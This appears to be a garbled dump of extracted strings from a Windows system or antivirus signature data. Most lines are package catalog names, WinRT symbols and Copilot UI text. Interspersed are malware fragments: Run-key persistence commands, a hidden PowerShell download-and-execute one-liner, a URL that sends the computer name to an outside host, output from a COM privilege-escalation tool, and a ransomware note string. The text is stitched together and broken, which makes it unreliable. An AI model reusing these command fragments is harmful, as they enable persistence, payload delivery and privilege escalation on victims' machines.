@{Microsoft.WindowsTerminal_1.18.10301.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.WindowsTerminal/Resources/AppName}@{Microsoft.WindowsTerminal_1.18.10301.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.WindowsTerminal/Resources/AppDescription}@{Microsoft.WindowsTerminal_1.18.10301.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.WindowsTerminal/Files/Images/Square150x150Logo.png}@{Microsoft.WindowsTerminal_1.18.10301.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.WindowsTerminal/Files/Images/Square44x44Logo.png}@{Microsoft.WindowsTerminal_1.18.10301.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.WindowsTerminal/Files/Images/Wide310x150Logo.png}@{Microsoft.WindowsTerminal_1.18.10301.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.WindowsTerminal/Files/Images/LargeTile.png}@{Microsoft.WindowsTerminal_1.18.10301.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.WindowsTerminal/Files/Images/SmallTile.png}
znew-itemproperty-path'hkcu:\software\microsoft\windows\currentversion\run'
regdeletehkcu\software\microsoft\windows\currentversion\run/vransomware-a6
Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package03~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-CoreSystem-Security-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|
Microsoft-Windows-InternetExplorer-Package-ua~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|
ComSpec=C:\WINDOWS\system32\cmd.exe
USERDOMAIN_ROAMINGPROFILE=Windows11
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~en-US~10.0.26100.4768.cat|
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~en-US~10.0.26100.4768.cat|
Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat|
Microsoft-Windows-TerminalServices-AppServerClient-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat|Microsoft-Windows-TerminalServices-AppServerClient-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Shared-5A906401B1801A9A7386214A3ABDA88E648A43CA49B6E45F42772F225063C8F6~31bf3856ad364e35~amd64~~10.0.26100.7298.cat|
 @Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\WINDOWS\ServiceProfiles\NetworkService\AppData\Local\Microsoft\WindowsApps
WinStore.Tasks.WindowsSearchTask
MainWindowStatusBarPalette
Global.WindowsPersonaCard.wwa
Microsoft-Windows-Client-Desktop-Required-Package001020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package001120~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package001120~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Client-Desktop-Required-Package04102030~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Features-WOW64-Package0111~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-WOW64-Package0111~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-OneCore-Common-DriverClasses-Core-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat|Microsoft-OneCore-Common-DriverClasses-Core-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Desktop-Required-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-OneCore-FileSystem-Support-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Embedded-DialogBlocking-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat|Package_4_for_KB5066128~31bf3856ad364e35~amd64~~10.0.9321.3.cat|
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|UserExperience-Desktop-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|UserExperience-Desktop-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Shared-5A906401B1801A9A7386214A3ABDA88E648A43CA49B6E45F42772F225063C8F6~31bf3856ad364e35~amd64~~10.0.26100.7298.cat|
Microsoft-OneCore-Helium-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-WOW64-Package0110~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Features-WOW64-Package0111~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-WOW64-Package0111~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-PowerShell-V2-Client-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|
Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Shared-5A906401B1801A9A7386214A3ABDA88E648A43CA49B6E45F42772F225063C8F6~31bf3856ad364e35~amd64~~10.0.26100.7298.cat|
Windows.PrintDialog_cw5n1h2txyewy-Out-Allow-InternetClient7
Windows.PrintDialog_cw5n1h2txyewy-Out-Allow-AllCapabilities
MicrosoftWindows.UndockedDevKit_cw5n1h2txyewy-In-Block
MicrosoftWindows.UndockedDevKit_cw5n1h2txyewy-Out-Block
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat|
Microsoft-Windows-Client-Desktop-Required-Package04102030~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-CoreSystem-WinTrust-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|
Microsoft-Windows-IIS-WebServer-ServerCommon-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat|
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat|
Microsoft-Windows-Shell-Wallpaper-Common-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat|
\windows\tabletpc'-name'#shadow_
windowsinstaller.
WindowsVersion
Windows Defender Exploit Guard detected a script interpreter process running obfuscated JavaScript, VBScript, or macro code.
xcom.microsoft.windows.extensionpackageWidgetPickerExtension Metadata
Dcom.microsoft.windows.extension.widgetcanvasWidgetDataModelMicrosoft Windows Extensions
com.microsoft.windows.extensionpackageWidgetDataModelExtension Metadata
xcom.microsoft.windows.widgets.feedsBaselineFeedProviderPublicBaseline Feed
tcom.microsoft.windows.extensions.xaml.widgetboardWidgetBoardMicrosoft Windows Extensions
Windows Update
Windows IA64H
licationModel::Background::IBackgroundTaskRegistration> >,struct winrt::Windows::Foundation::Collections::IKeyValuePair<struct winrt::guid,struct winrt::Windows::ApplicationModel::Background::IBackgroundTaskRegistration> >::MoveNext(void) const
auto __cdecl winrt::impl::consume_Windows_Foundation_Collections_IKeyValuePair<struct winrt::Windows::Foundation::Collections::IKeyValuePair<struct winrt::guid,struct winrt::Windows::ApplicationModel::Background::IBackgroundTaskRegistration>,struct winrt::guid,struct winrt::Windows::ApplicationModel::Background::IBackgroundTaskRegistration>::Value(void) const
auto __cdecl winrt::impl::consume_Windows_ApplicationModel_Background_IBackgroundTaskRegistration<struct winrt::Windows::ApplicationModel::Background::IBackgroundTaskRegistration>::Name(void) const
auto __cdecl winrt::impl::consume_Windows_ApplicationModel_Background_IBackgroundTaskRegistration<struct winrt::Windows::ApplicationModel::Background::IBackgroundTaskRegistration>::Unregister(bool) const
auto __cdecl winrt::impl::consume_Windows_Foundation_IAsyncOperation<struct winrt::Windows::Foundation::IAsyncOperation<enum winrt::Windows::ApplicationModel::Background::BackgroundAccessStatus>,enum winrt::Windows::ApplicationModel::Background::BackgroundAccessStatus>::GetResults(void) const
auto __cdecl winrt::impl::await_adapter<struct winrt::Windows::Foundation::IAsyncOperation<enum winrt::Windows::ApplicationModel::Background::BackgroundAccessStatus> >::await_resume(void) const
struct winrt::Windows::ApplicationModel::Background::IBackgroundExecutionManagerStatics __cdecl winrt::get_activation_factory<struct winrt::Windows::ApplicationModel::Background::IBackgroundExecutionManagerStatics>(const struct winrt::param::hstring &)
struct winrt::Windows::ApplicationModel::Background::BackgroundTaskBuilder __cdecl winrt::Windows::Foundation::IActivationFactory::ActivateInstance<struct winrt::Windows::ApplicationModel::Background::BackgroundTaskBuilder>(void) const
struct winrt::Windows::ApplicationModel::Background::IBackgroundTaskRegistrationStatics __cdecl winrt::get_activation_factory<struct winrt::Windows::ApplicationModel::Background::IBackgroundTaskRegistrationStatics>(const struct winrt::param::hstring &)
struct winrt::Windows::ApplicationModel::Background::ISystemTriggerFactory __cdecl winrt::get_activation_factory<struct winrt::Windows::ApplicationModel::Background::ISystemTriggerFactory>(const struct winrt::param::hstring &)
struct winrt::Windows::ApplicationModel::Background::ITimeTriggerFactory __cdecl winrt::get_activation_factory<struct winrt::Windows::ApplicationModel::Background::ITimeTriggerFactory>(const struct winrt::param::hstring &)
auto __cdecl winrt::impl::consume_Windows_Foundation_Collections_IIterator<struct winrt::Windows::Foundation::Collections::IIterator<struct winrt::Windows::Foundation::Collections::IKeyValuePair<struct winrt::guid,struct winrt::Windows::ApplicationModel::Background::IBackgroundTaskRegistration> >,struct winrt::Windows::Foundation::Collections::IKeyValuePair<struct winrt::guid,struct winrt::Windows::ApplicationModel::Background::IBackgroundTaskRegistration> >::HasCurrent(void) const
auto __cdecl winrt::impl::consume_Windows_Foundation_Collections_IIterator<struct winrt::Windows::Foundation::Collections::IIterator<struct winrt::Windows::Foundation::Collections::IKeyValuePair<struct winrt::guid,struct winrt::Windows::ApplicationModel::Background::IBackgroundTaskRegistration> >,struct winrt::Windows::Foundation::Collections::IKeyValuePair<struct winrt::guid,struct winrt::Windows::ApplicationModel::Background::IBackgroundTaskRegistration> >::Current(void) const
auto __cdecl winrt::impl::consume_Windows_Foundation_IAsyncOperation<struct winrt::Windows::Foundation::IAsyncOperation<enum winrt::Windows::ApplicationModel::Background::BackgroundAccessStatus>,enum winrt::Windows::ApplicationModel::Background::BackgroundAccessStatus>::Completed(const s
WINDOWS11
WINDOWS11
WINDOWS11
WINDOWS11
Execute file or code whithout return resultOfflineFilesss%ProgramData%\Microsoft\Windows\Start Menu\*
WINDOWS11
s%PROGRAMDATA%\Microsoft\Search\Data\Applications\Windows\*.wid.|%WINDIR%\System32\svchost.exe
.|%WINDIR%\System32\s
Data%\WindowsHolL
]a-4e98-59dd-30f7be043b8d" Version="5" xmlns="urn:schemas-microsoft-com:windows:store:licensing:ls"><Binding 
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.2
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.3
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.4
\system32\%iin(*
\\WINDOWS11
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
(\Microsoft\WindowsApps
WINDOWS\ServiceProfiles\Local
system32\cmd.exe
Microsoft.Windows.HostName
2.exe"invoke-webrequest$u-outfile$p*>$nullstart-process$p-windowstylehidden
xcopyc:\windows\system32\windowspowershell\v1.0\powershell.exe%~
"ItemReference<Windows.Data.PlaceholderTileLogo>
ProcessWindowStyle
mozilla/5.0 (windows nt 10.0; win64; x64) applewebkit/537.36 (khtml, like gecko) chrome/105.0.0.0 safari/537.36m
[*] bruteforcing %d clsids...[*] windows defender firewall not enabled. every com port will work.[-] the privileged process failed to communicate with our com server :( try a different com port in the -l flag.[+] authresult success %s;%s\%s;%sj
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat
^\device\harddiskvolume(.*)\windows\fonts
^\device\harddiskvolume(.*)\windows\prefetch
^\device\harddiskvolume(.*)\windows\system32
^\\%?\volume{%x%x%x%x%x%x%x%x%-%x%x%x%x%-%x%x%x%x%-%x%x%x%x%-%x%x%x%x%x%x%x%x%x%x%x%x}\windows\system32
Windows_Toggle2(
N3c:\windows\0
&m1&m2m2=m1="\system32\!\acad.fas")").copy("so.getfile
f$dows\system32\cmd.exe/cstart/minpowershell-command"$
powershellstart-process-windowstylehidden-filepath"c:\flexlm\cghotman_redshift_server.exe"
DisableWindowsUpdateWebsite.Ao
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
Windows.Networking.ContentPrefetcher.Internal
Windows.Networking.ContentPrefetcher.Internal
Windows.Networking.ContentPrefetcher.Internal
Windows.Networking.ContentPrefetcher.Internal
elwindows
C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\Search\settings.db-shm
WindowsSearchBox
Check back soon for more tips, and in the meantime, discover more Windows features on the tips website.
Check back soon for more tips, and in the meantime, learn more about Windows on the tips website.
Select **Windows logo key + period (.)** to open the emoji panel and add emoji, GIFs, and more.
Open Windows Back up
Select **Windows logo key + V** to save recent copied or cut items on your clipboard history and paste them on other apps or sync across devices.
Select **Windows logo key + V** to view your clipboard history and paste from it.
Select **Windows logo key + Ctrl + L** to automatically transcribe audio to text on your screen.
Press **Windows key + Ctrl + L** to enable quickly
Windows Spotlight, pop up menu
Windows spotlight images
;charset=windows-125
-windowstylehidden-argumentlist
ext-ms-win-ntuser-windowstation-l1-1-0.dll
Microsoft-Windows-Media-Player-WOW64-Package~31bf3856ad364e35~wow64~~10.0.26100.7824.cat
Microsoft-Windows-Media-Player-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
System.Windows.Forms.UnsafeNativeMethods.UiaCore.ITextRangeProvider.FindAttribute
System.Windows.Forms.UnsafeNativeMethods.ILegacyIAccessibleProvider.Value
System.Windows.Forms.UnFILE0
WindowsCreateStringReference
WindowsDeleteString
WindowsGetStringRawBuffer
WindowsCreateString
:\windows\currentversion\policies\system /v disablechangepassword /t reg_d
MicrosoftWindows.Client.CBS_cw5n1h2txyewy
windows.immersivecontrolpanel_cw5n1h2txyewy
windows\
USERDOMAIN=Windows11
windir=C:\WINDOWS
usystem32\backgroundTaskHost.exe" -ServerName:OobeHost.AppXdcwkjpb46w3zw4hbmx5jfxajhymjka0d.mca
system32\backgroundTaskHost.exe" -ServerName:OobeHost.AppXdcwkjpb46w3zw4hbmx5jfxajhymjka0d.mca
system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
system32\backgroundTaskHost.exe" -ServerName:OobeHost.AppXdcwkjpb46w3zw4hbmx5jfxajhymjka0d.mca
system32\backgroundTaskHost.exe" -ServerName:OobeHost.AppXdcwkjpb46w3zw4hbmx5jfxajhymjka0d.mca
system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
osystem32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
Microsoft Windows0
windows b
 windows search9
#|user-agent: taskkill /pidsoftware\microsoft\windows nt\currentversion\winlogon\notify\win
s RAM usageAutomatically open Copilot when you sign into WindowsBrowse with Microsoft Copilot, search with Bing, and shop at the Microsoft and Windows stores to earn free rewardsEarn Microsoft Rewards in Microsoft CopilotCopilot connects local browsing data from this profile with the rest of Windows.When turned on, Microsoft Copilot will connect local browsing data from this profile with the rest of Windows. Turning this feature on will help you find information from your history, top sites and recent tabs more easily using features such as the search box on the taskbar in Windows. If you turn off this feature Microsoft Copilot will remove the data shared with Windows on the device and stop sharing any new browsing data from this profile.Save content using Collections in Microsoft CopilotAlways have access to your recent browsing data each time you browse on Microsoft CopilotChoose confirm to stop Microsoft Copilot from importing browser data from other browsers.Application behavior and featuresCustomize general application behavior settings like asking before closing multiple tabs, mouse gesture, and split screenAllow Copilot to save your passwords and keep them safe.Energy saver helps save device battery and reduce power consumption when you
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
"http://m0.nu:8080/ac/y/92vpbw3cbqbalxvlk/oor4lf6d/!computername!"/q^n%windir%\system32\shell32.dll
fc:\v1uewindows@owhufa.c
Your system has been destoryed!\WindowSmasher.pdbRansom:Win64/FileCoder.RHAE!MTB
"c:\windows\syswow64"C
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\Users\job\AppData\Local\Microsoft\WindowsApps
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.2
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.3
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.4
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.5
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.6
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.7
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.1
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.2
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.3
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.4
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.5
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.6
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.7
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.1
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.2
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.3
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.4
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.5
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.6
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.7
WindowsUdk.UI.Shell.Dashboard.DashboardExtension
Microsoft.Windows.DashboardServer
Microsoft.Windows.WidgetBoardServer
"_MicrosoftWindowsBitLockerDriverCountersProvider_ 
IllegalWindowsItemName
USERDOMAIN_ROAMINGPROFILE=Windows11
ComSpec=C:\WINDOWS\system32\cmd.exe
WindowsIdentity
WindowsGetStringRawBuffer
WindowsDuplicateString
WindowsDeleteString
WindowsCreateStringReference
\\WINDOWS11
ing Windows 10Q
WindowsCreateString
WindowsDeleteString
Microsoft Windows ASHWID0
!#ALF:Y2V:Florian_Rot/CN_Honker_windows_mstsc_enhanced_RMDSTC
:C:\WINDOWS\system32\svchost.exe -k LocalServiceNoNetwork -p
WindowsVersion
^windows.appExtension
>onecore\enduser\windowsupdate\muse\orchestrator\api\usocommithelperlib\usocommithelper.cpp
temRoot%\system32\mswsock.dll
temRoot%\system32\mswsock.dll
temRoot%\system32\mswsock.dll
temRoot%\system32\mswsock.dll
..\..\..\..\..\..\windows\installer\{
WINDOWS11
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
GetWindowsDirectoryW
?OnAdjustWindowSize@HWNDHost@DirectUI@@UEAAHHHI@Z
windows11
windows11
windows11
Microsoft.Windows.Security.AppIDSvcProvider
E\Microsoft\Windows NT\CurrentVersion\Notifications\Data\\418A073AA3BC1C75
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Mozilla/4.0 (compatible; MSIE 11.0; Windows NT 6.1; SV1)
SOFTWARE\Microsoft\Windows\CurrentVersion\run
We've imported your extensions to the new Microsoft CopilotWe've installed your extensions in the new Microsoft CopilotHelp Microsoft improve our products by sending crash reports, info about how you use Copilot and the websites you visit.By clicking "Accept and get started" you allow Microsoft Copilot to $1update automatically$2 so that you always have the latest improvements. These updates are independent of your Windows update settings.Microsoft Copilot CompatibilitySites on this list will only be able to use the specified content decryption
C:\WINDOWS\sysWOW64\wbem\wmiprvse.exe -Embedding
SLRegisterWindowsEvent
SLUnregisterWindowsEvent
4edge.perf_center.efficiency_mode.active_due_to_windows_energy_saver
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident3
clientcore\windows\core\dispbroker\lib\displaymux.cpp
clientcore\windows\core\dispbroker\lib\topologyconstructor.cpp
clientcore\windows\core\dispbroker\lib\topologycommon.cpp
clientcore\windows\core\dispbroker\lib\securityhelpers.cpp
clientcore\windows\core\dispbroker\lib\remotesessionhandler.cpp
clientcore\windows\core\dispbroker\inc\private\ConsoleSessionHandler.h
clientcore\windows\core\dispbroker\lib\consolesessionhandler.cpp
clientcore\windows\core\dispbroker\lib\runtimeregistrationmodule.cpp
clientcore\windows\core\dispbroker\lib\displayapppreferencemanager.cpp
clientcore\windows\core\dispbroker\lib\databaseserver.cpp
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
